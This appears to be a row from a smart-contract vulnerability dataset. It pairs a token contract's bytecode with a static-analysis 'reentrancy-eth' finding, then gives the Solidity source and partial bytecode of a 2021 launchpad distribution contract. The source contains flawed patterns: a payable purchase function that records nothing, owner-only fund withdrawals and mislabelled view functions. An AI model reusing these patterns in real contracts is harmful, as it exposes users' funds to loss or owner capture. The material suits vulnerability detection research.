1205461068a90611299565b6000546001600160a01b031633146108235760405162461bcd60e51b81526004016105f690611c73565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108975760405162461bcd60e51b81526004016105f690611c73565b601655565b6000546001600160a01b031633146108c65760405162461bcd60e51b81526004016105f690611c73565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090e5760405162461bcd60e51b81526004016105f690611c73565b601855565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016105f690611c73565b600893909355600a91909155600955600b55565b6000610686338484610c9e565b6012546001600160a01b0316336001600160a01b0316148061099357506013546001600160a01b0316336001600160a01b0316145b61099c57600080fd5b60006109a7306107d7565b90506107d48161131d565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016105f690611c73565b60005b82811015610a5b578160056000868685818110610a0c57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a21919061199c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5381611d86565b9150506109df565b50505050565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016105f690611c73565b601755565b6000546001600160a01b03163314610aba5760405162461bcd60e51b81526004016105f690611c73565b6001600160a01b038116610b1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610c3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610dc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610df257506000546001600160a01b03838116911614155b156110d357601554600160a01b900460ff16610e8b576000546001600160a01b03848116911614610e8b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b601654811115610edd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1f57506001600160a01b03821660009081526010602052604090205460ff16155b610f775760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b03838116911614610ffc5760175481610f99846107d7565b610fa39190611d18565b10610ffc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000611007306107d7565b6018546016549192508210159082106110205760165491505b8080156110375750601554600160a81b900460ff16155b801561105157506015546001600160a01b03868116911614155b80156110665750601554600160b01b900460ff165b801561108b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110b057506001600160a01b03841660009081526005602052604090205460ff16155b156110d0576110be8261131d565b4780156110ce576110ce47611214565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111557506001600160a01b03831660009081526005602052604090205460ff165b8061114757506015546001600160a01b0385811691161480159061114757506015546001600160a01b03848116911614155b15611154575060006111ce565b6015546001600160a01b03858116911614801561117f57506014546001600160a01b03848116911614155b1561119157600854600c55600954600d555b6015546001600160a01b0384811691161480156111bc57506014546001600160a01b03858116911614155b156111ce57600a54600c55600b54600d555b610a5b848484846114c2565b600081848411156111fe5760405162461bcd60e51b81526004016105f69190611c20565b50600061120b8486611d6f565b95945050505050565b6012546001600160a01b03166108fc61122e8360026114f0565b6040518115909202916000818181858888f19350505050158015611256573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112718360026114f0565b6040518115909202916000818181858888f19350505050158015610675573d6000803e3d6000fd5b60006006548211156113005760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b600061130a611532565b905061131683826114f0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c757600080fd5b505afa1580156113db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ff91906119b8565b8160018151811061142057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114469130911684610b7a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147f908590600090869030904290600401611ca8565b600060405180830381600087803b15801561149957600080fd5b505af11580156114ad573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114cf576114cf611555565b6114da848484611583565b80610a5b57610a5b600e54600c55600f54600d55565b600061131683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167a565b600080600061153f6116a8565b909250905061154e82826114f0565b9250505090565b600c541580156115655750600d54155b1561156c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611595876116ec565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c79087611749565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f6908661178b565b6001600160a01b038916600090815260026020526040902055611618816117ea565b6116228483611834565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166791815260200190565b60405180910390a3505050505050505050565b6000818361169b5760405162461bcd60e51b81526004016105f69190611c20565b50600061120b8486611d30565b600654600090819069d3c21bcecceda10000006116c582826114f0565b8210156116e35750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008060008060008060008060006117098a600c54600d54611858565b9250925092506000611719611532565b9050600080600061172c8e8787876118ad565b919e509c509a509598509396509194505050505091939550919395565b600061131683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111da565b6000806117988385611d18565b9050838110156113165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b60006117f4611532565b9050600061180283836118fd565b3060009081526002602052604090205490915061181f908261178b565b30600090815260026020526040902055505050565b6006546118419083611749565b600655600754611851908261178b565b6007555050565b6000808080611872606461186c89896118fd565b906114f0565b90506000611885606461186c8a896118fd565b9050600061189d826118978b86611749565b90611749565b9992985090965090945050505050565b60008080806118bc88866118fd565b905060006118ca88876118fd565b905060006118d888886118fd565b905060006118ea826118978686611749565b939b939a50919850919650505050505050565b60008261190c5750600061068a565b60006119188385611d50565b9050826119258583611d30565b146113165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b803561198781611dcd565b919050565b8035801515811461198757600080fd5b6000602082840312156119ad578081fd5b813561131681611dcd565b6000602082840312156119c9578081fd5b815161131681611dcd565b600080604083850312156119e6578081fd5b82356119f181611dcd565b91506020830135611a0181611dcd565b809150509250929050565b600080600060608486031215611a20578081fd5b8335611a2b81611dcd565b92506020840135611a3b81611dcd565b929592945050506040919091013590565b60008060408385031215611a5e578182fd5b8235611a6981611dcd565b946020939093013593505050565b600080600060408486031215611a8b578283fd5b833567ffffffffffffffff80821115611aa2578485fd5b818601915086601f830112611ab5578485fd5b813581811115611ac3578586fd5b8760208260051b8501011115611ad7578586fd5b602092830195509350611aed918601905061198c565b90509250925092565b60006020808385031215611b08578182fd5b823567ffffffffffffffff80821115611b1f578384fd5b818501915085601f830112611b32578384fd5b813581811115611b4457611b44611db7565b8060051b604051601f19603f83011681018181108582111715611b6957611b69611db7565b604052828152858101935084860182860187018a1015611b87578788fd5b8795505b83861015611bb057611b9c8161197c565b855260019590950194938601938601611b8b565b5098975050505050505050565b600060208284031215611bce578081fd5b6113168261198c565b600060208284031215611be8578081fd5b5035919050565b60008060008060808587031215611c04578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4c57858101830151858201604001528201611c30565b81811115611c5d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf75784516001600160a01b031683529383019391830191600101611cd2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2b57611d2b611da1565b500190565b600082611d4b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6a57611d6a611da1565b500290565b600082821015611d8157611d81611da1565b500390565b6000600019821415611d9a57611d9a611da1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a905a2fd68d0108281b2773a8efd7c503e0cf46631759bf7541a424f17bdb55264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,234 |
0x50e10e5fc5473bc8e67a5ff5772d38e59f1ef64d
|
/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.4.24;
//-----------------------------------------------------------------------------//
// Name : MPadLaunchPad //
// Swap tokens to claim launch tokens //
// Distribution Contract //
//-----------------------------------------------------------------------------//
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IMainToken{
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Invalid values");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Invalid values");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"Invalid values");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"Invalid values");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"Invalid values");
return a % b;
}
}
contract MultiPadLaunchApp is IBEP20 {
using SafeMath for uint256;
IMainToken iMainToken;
//variable declaration
address private _owner;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
// Special business use case variables
mapping (address => bool) _whitelistedAddress;
mapping (address => uint256) _recordSale;
mapping (address => bool) _addressLocked;
mapping (address => uint256) _finalSoldAmount;
mapping (address => mapping(uint256 => bool)) reEntrance;
mapping (address => uint256) specialAddBal;
mapping (address => uint256) _contributionBNB;
mapping (address => mapping(uint256 => uint256)) _claimedByUser;
mapping (address =>mapping(uint256 => uint256))_thisSaleContribution;
mapping (address => uint) _multiplier;
address[] private _whitelistedUserAddresses;
uint256 private saleStartTime;
uint256 private saleEndTime;
uint256 private saleMinimumAmount;
uint256 private saleMaximumAmount;
uint256 private saleId = 0;
uint256 private tokenPrice;
uint256 private deploymentTime;
uint256 private pricePerToken;
uint256 private hardCap;
uint256 private decimalBalancer = 1000000000;
uint256 private IDOAvailable;
address private tokenContractAddress;
bool whitelistFlag = true;
address private IDOAddress;
string private _baseName;
uint256 private _claimTime1;
constructor (string memory name, string memory symbol, uint256 totalSupply, address owner, uint256 _totalDummySupply) public {
_name = name;
_symbol = symbol;
_totalSupply = totalSupply*(10**uint256(_decimals));
_balances[owner] = _totalSupply;
_owner = owner;
deploymentTime = block.timestamp;
_transfer(_owner,address(this),_totalDummySupply*(10**uint256(_decimals)));
}
function setTokenAddress(address _ITokenContract) onlyOwner external returns(bool){
tokenContractAddress = _ITokenContract;
iMainToken = IMainToken(_ITokenContract);
}
/* ----------------------------------------------------------------------------
* View only functions
* ----------------------------------------------------------------------------
*/
/**
* @return the name of the token.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @return the name of the token.
*/
function setBaseName(string baseName) external onlyOwner returns (bool) {
_baseName = baseName;
return true;
}
/**
* @return the name of the token.
*/
function baseName() external view returns (string memory) {
return _baseName;
}
/**
* @return the symbol of the token.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @return the number of decimals of the token.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/* ----------------------------------------------------------------------------
* Transfer, allow and burn functions
* ----------------------------------------------------------------------------
*/
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"Invalid to address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/*----------------------------------------------------------------------------
* Functions for owner
*----------------------------------------------------------------------------
*/
/**
* @dev get address of smart contract owner
* @return address of owner
*/
function getowner() external view returns (address) {
return _owner;
}
/**
* @dev modifier to check if the message sender is owner
*/
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
/**
* @dev Internal function for modifier
*/
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfer ownership of the smart contract. For owner only
* @return request status
*/
function transferOwnership(address newOwner) external onlyOwner returns (bool){
require(newOwner != address(0), "Owner address cant be zero");
_owner = newOwner;
return true;
}
/* ----------------------------------------------------------------------------
* Functions for Additional Business Logic For Owner Functions
* ----------------------------------------------------------------------------
*/
/**
* @dev Whitelist Addresses for further transactions
* @param _userAddresses Array of user addresses
*/
function whitelistUserAdress(address[] _userAddresses, uint[] _multiplierAmount) external onlyOwner returns(bool){
uint256 count = _userAddresses.length;
require(count < 201, "Array Overflow"); //Max 200 enteries at a time
for (uint256 i = 0; i < count; i++){
_whitelistedUserAddresses.push(_userAddresses[i]);
_whitelistedAddress[_userAddresses[i]] = true;
_multiplier[_userAddresses[i]] = _multiplierAmount[i];
}
return true;
}
//Get the multiplier details
function getMultiplierbyAddress(address _userAddress) external view returns(uint256){
return _multiplier[_userAddress];
}
/**
* @dev get the list of whitelisted addresses
*/
function getWhitelistUserAdress() external view returns(address[] memory){
return _whitelistedUserAddresses;
}
/**
* @dev Set sale parameters for users to buy new tokens
* @param _startTime Start time of the sale
* @param _endTime End time of the sale
* @param _minimumAmount Minimum accepted amount
* @param _maximumAmount Maximum accepted amount
*/
function setSaleParameter(
uint256 _startTime,
uint256 _endTime,
uint256 _minimumAmount,
uint256 _maximumAmount,
bool _whitelistFlag
) external onlyOwner returns(bool){
require(_startTime > 0 && _endTime > 0 && _minimumAmount > 0 && _maximumAmount > 0, "Invalid Values");
saleStartTime = _startTime;
saleEndTime = _endTime;
saleMinimumAmount = _minimumAmount;
saleMaximumAmount = _maximumAmount;
saleId = saleId.add(1);
whitelistFlag = _whitelistFlag;
return true;
}
/**
* @dev Get Sale Details Description
*/
function getSaleParameter(address _userAddress) external view returns(
uint256 _startTime,
uint256 _endTime,
uint256 _minimumAmount,
uint256 _maximumAmount,
uint256 _saleId,
bool _whitelistFlag
){
if(whitelistFlag == true && _whitelistedAddress[_userAddress] == true){
_maximumAmount = saleMaximumAmount.mul(_multiplier[_userAddress]);
}
else{
_maximumAmount = saleMaximumAmount;
}
_startTime = saleStartTime;
_endTime = saleEndTime;
_minimumAmount = saleMinimumAmount;
_saleId = saleId;
_whitelistFlag = whitelistFlag;
}
/**
* @dev Owner can set token price
* @param _tokenPrice price of 1 Token
*/
function setTokenPrice(
uint256 _tokenPrice
) external onlyOwner returns(bool){
tokenPrice = _tokenPrice;
return true;
}
/**
* @dev Get token price
*/
function getTokenPrice() external view returns(uint256){
return tokenPrice;
}
/* ----------------------------------------------------------------------------
* Functions for Additional Business Logic For Users
* ----------------------------------------------------------------------------
*/
modifier checkSaleValidations(address _userAddress, uint256 _value){
if(whitelistFlag == true){
require(_whitelistedAddress[_userAddress] == true, "Address not Whitelisted" );
require(_value <= saleMaximumAmount.mul(_multiplier[_userAddress]), "Total amount should be less than maximum limit");
require(_thisSaleContribution[_userAddress][saleId].add(_value) <= saleMaximumAmount.mul(_multiplier[_userAddress]), "Total amount should be less than maximum limit");
}
else{
require(_thisSaleContribution[_userAddress][saleId].add(_value) <= saleMaximumAmount, "Total amount should be less than maximum limit");
}
require(saleStartTime < block.timestamp , "Sale not started");
require(saleEndTime > block.timestamp, "Sale Ended");
require(_contributionBNB[_userAddress].add(_value) >= saleMinimumAmount, "Total amount should be more than minimum limit");
require(_value <= IDOAvailable, "Hard Cap Reached");
_;
}
//Check the expected amount per bnb
function checkTokensExpected(uint256 _value) view external returns(uint256){
return _value.mul(tokenPrice).div(decimalBalancer);
}
/*
* @dev Get Purchaseable amount
*/
function getPurchaseableTokens() external view returns(uint256){
return hardCap;
}
/*
* @dev Buy New tokens from the sale
*/
function buyTokens() payable external returns(bool){
return true;
}
/*
* @dev Internal function to achieve
*/
function _trasferInLockingState(
address[] userAddress,
uint256[] amountTransfer,
uint256[] bnb
) external onlyOwner returns(bool){
uint256 count = userAddress.length;
require(count < 201, "Array Overflow"); //Max 200 enteries at a time
for (uint256 i = 0; i < count; i++){
uint256 _bnb = bnb[i];
address _userAddress = userAddress[i];
uint256 _amountTransfer = amountTransfer[i];
_recordSale[_userAddress] = _amountTransfer;
_finalSoldAmount[_userAddress] = _amountTransfer;
_contributionBNB[_userAddress] = _bnb;
_thisSaleContribution[_userAddress][saleId] = _thisSaleContribution[_userAddress][saleId].add(_bnb);
IDOAvailable = IDOAvailable.sub(_amountTransfer);
}
return true;
}
/*
* @dev Owner can set hard cap for IDO
*/
function setIDOavailable(uint256 _IDOHardCap) external onlyOwner returns(bool){
require(_IDOHardCap <= balanceOf(address(this)) && _IDOHardCap > 0, "Value should not be more than IDO balance and greater than 0" );
hardCap = _IDOHardCap;
IDOAvailable = _IDOHardCap;
return true;
}
/*
* @dev Claim Purchased token by lock number
*/
function claimPurchasedTokens(uint256 _lockNumber) external validateClaim(msg.sender,_lockNumber) returns (bool){
uint256 calculation = (_finalSoldAmount[msg.sender]).div(2);
iMainToken.transfer(msg.sender,calculation);
_recordSale[msg.sender] = _recordSale[msg.sender].sub(calculation);
reEntrance[msg.sender][_lockNumber] = true;
_claimedByUser[msg.sender][_lockNumber] = calculation;
}
//validate claim tokens
modifier validateClaim(address _userAddress, uint256 _lockNumber)
{
require(_recordSale[_userAddress] > 0, "Not sufficient purchase Balance");
require(_lockNumber == 1 || _lockNumber == 2, "Invalid Lock Number");
if(_lockNumber == 1){ //Users will be able to withdraw tokens only after 1.5 hours of end time
require(block.timestamp > saleEndTime + _claimTime1 && reEntrance[_userAddress][_lockNumber] != true, "Insufficient Unlocked Tokens");
}
if(_lockNumber == 2){ // 1 month
require(block.timestamp > saleEndTime + _claimTime1 + 2629743 && reEntrance[_userAddress][_lockNumber] != true , "Insufficient Unlocked Tokens");
}
_;
}
/*
* @dev Check if the user address is whitelisted or not
*/
function checkWhitelistedAddress(address _userAddress) view external returns(bool){
require(_userAddress != address(0), "addresses should not be 0");
return _whitelistedAddress[_userAddress];
}
/*
* @dev Check all locking addresses
*/
modifier checkLockedAddresses(address _lockedAddresses){
require(_addressLocked[_lockedAddresses] != true, "Locking Address");
_;
}
/*
* @dev Admin can withdraw the bnb
*/
function withdrawCurrency(uint256 _amount) external onlyOwner returns(bool){
msg.sender.transfer(_amount);
return true;
}
/*
* @dev Get user tokens by address
*/
function getUserTokensByAdd(address _userAddress) external view returns(uint256 _div1, uint256 _div2, uint256 _div3, uint256 _div4, uint256 _div5){
uint256 division = _finalSoldAmount[_userAddress].div(2);
_div1 = division;
_div2 = division;
_div3 = 0;
_div4 = 0;
_div5 = 0;
if(reEntrance[_userAddress][1] == true){
_div1 = 0;
}
if(reEntrance[_userAddress][2] == true){
_div2 = 0;
}
if(reEntrance[_userAddress][3] == true){
_div3 = 0;
}
if(reEntrance[_userAddress][4] == true){
_div4 = 0;
}
if(reEntrance[_userAddress][5] == true){
_div5 = 0;
}
return(_div1,_div2,_div3,_div4,_div5);
}
/*
* @dev Get contract BNb balance to display
*/
function checkContractBNBBalance() external view returns(uint256){
return address(this).balance;
}
//get sold status
function getSoldStatus() external view returns(uint256 _totalAvailable, uint256 _currentAvailable){
_totalAvailable = hardCap;
_currentAvailable = IDOAvailable;
}
function getAmountPurchased(address _userAddress) external view returns(uint256 _contribution, uint256 _allocation){
_contribution = _contributionBNB[_userAddress];
_allocation = _finalSoldAmount[_userAddress];
}
//check contract block.timestamp time
function checkContractTime() external view returns(uint256){
return block.timestamp;
}
function getClaimDates() view external returns(uint256 _d1, uint256 _d2, uint256 _d3, uint256 _d4, uint256 _d5){
_d1 = saleEndTime + _claimTime1;
_d2 = saleEndTime + _claimTime1 + 2629743;
_d3 = 0;
_d4 = 0;
_d5 = 0;
return(_d1, _d2, _d3, _d4,_d5);
}
/*
* @dev Get claimed tokens by user address
*/
function getClaimedTokensHistory(address _userAddress) view external returns(uint256 r1,uint256 r2, uint256 r3, uint256 r4, uint256 r5){
r1 = _claimedByUser[_userAddress][1];
r2 = _claimedByUser[_userAddress][2];
r3 = 0;
r4 = 0;
r5 = 0;
return(r1, r2, r3, r4, r5);
}
/*
* @dev Set bnb price to display per token
*/
function setViewPricePerToken(uint256 _price) external onlyOwner returns(bool){
pricePerToken = _price;
return true;
}
/*
* @dev Get BNB price per token to display
*/
function getViewPricePerToken() view external returns(uint256){
return pricePerToken;
}
function setclaimTime1(uint256 claimTime1) external onlyOwner returns(bool){
_claimTime1 = claimTime1;
return true;
}
function getclaimTime1() view external returns(uint256){
return _claimTime1;
}
function withdrawPeningTokens(uint256 _amount) external view onlyOwner returns(bool){
iMainToken.transfer(msg.sender, _amount);
return true;
}
}
|
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301fafee1146101d257806303f27fc61461023d57806306fdde03146102b05780631431320814610340578063150306331461038557806318160ddd146104155780631b2121aa146104405780631e53c91e1461049357806326a4e8d2146104c5578063313ce567146105205780633c00a36c146105515780634353a9591461059657806348406b18146105c15780634b94f50e146106065780634c908df6146106315780635801a6e1146106a0578063651996aa146106e55780636a61e5fc146107105780636f66214b1461075557806370a082311461079c57806378175b59146107f357806384890a7f1461085157806395d89b41146108d4578063b5585bed14610964578063b9e465e4146109bb578063bfe41cc6146109e6578063c1aa243614610a2b578063caa4a4e414610a86578063cb52ebb014610af2578063d0febe4c14610b65578063da6c619514610b87578063dcf5ba3514610bb2578063f23d5bad14610c30578063f2fde38b14610c71578063f4b301fc14610ccc578063fe0174bd14610cf7578063feb55f3f14610d4e575b600080fd5b3480156101de57600080fd5b50610223600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050610d93565b604051808215151515815260200191505060405180910390f35b34801561024957600080fd5b5061027e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611074565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156102bc57600080fd5b506102c561132d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103055780820151818401526020810190506102ea565b50505050905090810190601f1680156103325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034c57600080fd5b5061036b600480360381019080803590602001909291905050506113cf565b604051808215151515815260200191505060405180910390f35b34801561039157600080fd5b5061039a61153c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103da5780820151818401526020810190506103bf565b50505050905090810190601f1680156104075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042157600080fd5b5061042a6115de565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104796004803603810190808035906020019082018035906020019190919293919293905050506115e8565b604051808215151515815260200191505060405180910390f35b34801561049f57600080fd5b506104a86116a8565b604051808381526020018281526020019250505060405180910390f35b3480156104d157600080fd5b50610506600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b9565b604051808215151515815260200191505060405180910390f35b34801561052c57600080fd5b506105356117e3565b604051808260ff1660ff16815260200191505060405180910390f35b34801561055d57600080fd5b5061057c600480360381019080803590602001909291905050506117fa565b604051808215151515815260200191505060405180910390f35b3480156105a257600080fd5b506105ab6118ee565b6040518082815260200191505060405180910390f35b3480156105cd57600080fd5b506105ec600480360381019080803590602001909291905050506118f8565b604051808215151515815260200191505060405180910390f35b34801561061257600080fd5b5061061b611ed6565b6040518082815260200191505060405180910390f35b34801561063d57600080fd5b5061068660048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803515159060200190929190505050611ee0565b604051808215151515815260200191505060405180910390f35b3480156106ac57600080fd5b506106cb6004803603810190808035906020019092919050505061207f565b604051808215151515815260200191505060405180910390f35b3480156106f157600080fd5b506106fa61222c565b6040518082815260200191505060405180910390f35b34801561071c57600080fd5b5061073b60048036038101908080359060200190929190505050612234565b604051808215151515815260200191505060405180910390f35b34801561076157600080fd5b5061076a6122e8565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156107a857600080fd5b506107dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612329565b6040518082815260200191505060405180910390f35b3480156107ff57600080fd5b50610834600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612372565b604051808381526020018281526020019250505060405180910390f35b34801561085d57600080fd5b506108ba6004803603810190808035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293905050506123fe565b604051808215151515815260200191505060405180910390f35b3480156108e057600080fd5b506108e9612751565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092957808201518184015260208101905061090e565b50505050905090810190601f1680156109565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097057600080fd5b506109a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127f3565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109d061283c565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b50610a116004803603810190808035906020019092919050505061285b565b604051808215151515815260200191505060405180910390f35b348015610a3757600080fd5b50610a6c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061290f565b604051808215151515815260200191505060405180910390f35b348015610a9257600080fd5b50610a9b612a09565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610ade578082015181840152602081019050610ac3565b505050509050019250505060405180910390f35b348015610afe57600080fd5b50610b33600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a97565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b610b6d612b6b565b604051808215151515815260200191505060405180910390f35b348015610b9357600080fd5b50610b9c612b74565b6040518082815260200191505060405180910390f35b348015610bbe57600080fd5b50610bf3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b7e565b6040518087815260200186815260200185815260200184815260200183815260200182151515158152602001965050505050505060405180910390f35b348015610c3c57600080fd5b50610c5b60048036038101908080359060200190929190505050612c8f565b6040518082815260200191505060405180910390f35b348015610c7d57600080fd5b50610cb2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cc1565b604051808215151515815260200191505060405180910390f35b348015610cd857600080fd5b50610ce1612e54565b6040518082815260200191505060405180910390f35b348015610d0357600080fd5b50610d0c612e5e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673fffffff